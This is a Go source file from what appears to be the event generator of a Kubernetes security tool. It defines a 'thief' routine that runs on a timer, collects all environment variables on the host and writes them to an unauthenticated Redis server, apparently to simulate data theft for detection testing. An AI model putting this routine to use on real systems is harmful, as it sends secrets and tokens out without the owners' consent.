github.com/castai/kvisor@v1.7.1-0.20240516114728-b3572a2607b5/cmd/event-generator/app/thief.go (about)

     1  package app
     2  
     3  import (
     4  	"context"
     5  	"os"
     6  	"strings"
     7  	"time"
     8  
     9  	"github.com/castai/kvisor/pkg/logging"
    10  	"github.com/redis/go-redis/v9"
    11  )
    12  
    13  func newThief(log *logging.Logger, cfg *Config) *thief {
    14  	return &thief{
    15  		log: log,
    16  		cfg: cfg,
    17  	}
    18  }
    19  
    20  type thief struct {
    21  	log *logging.Logger
    22  	cfg *Config
    23  }
    24  
    25  func (t *thief) run(ctx context.Context) error {
    26  	t.log.Info("running thief")
    27  	defer t.log.Info("stopping thief")
    28  
    29  	t.log.Debugf("sleeping for %v before start", t.cfg.ThiefDelay)
    30  	time.Sleep(t.cfg.ThiefDelay)
    31  
    32  	stealC := time.NewTicker(t.cfg.ThiefInterval)
    33  	defer stealC.Stop()
    34  
    35  	for {
    36  		select {
    37  		case <-stealC.C:
    38  			if err := t.steal(ctx); err != nil {
    39  				t.log.Errorf("steal: %v", err)
    40  			}
    41  		case <-ctx.Done():
    42  			return nil
    43  		}
    44  	}
    45  }
    46  
    47  func (t *thief) steal(ctx context.Context) error {
    48  	rdb := redis.NewClient(&redis.Options{
    49  		Addr:        "redis-storage.tools:6379",
    50  		Password:    "", // no password set
    51  		DB:          0,  // use default DB
    52  		DialTimeout: 3 * time.Second,
    53  	})
    54  	ctx, cancel := context.WithTimeout(ctx, 3*time.Second)
    55  	defer cancel()
    56  	if err := rdb.Ping(ctx).Err(); err != nil {
    57  		return err
    58  	}
    59  	hostName, err := os.Hostname()
    60  	if err != nil {
    61  		return err
    62  	}
    63  	env := os.Environ()
    64  	err = rdb.Set(ctx, "env_"+hostName, strings.Join(env, "\n"), 0).Err()
    65  	if err != nil {
    66  		return err
    67  	}
    68  	t.log.Info("steal done")
    69  	return nil
    70  }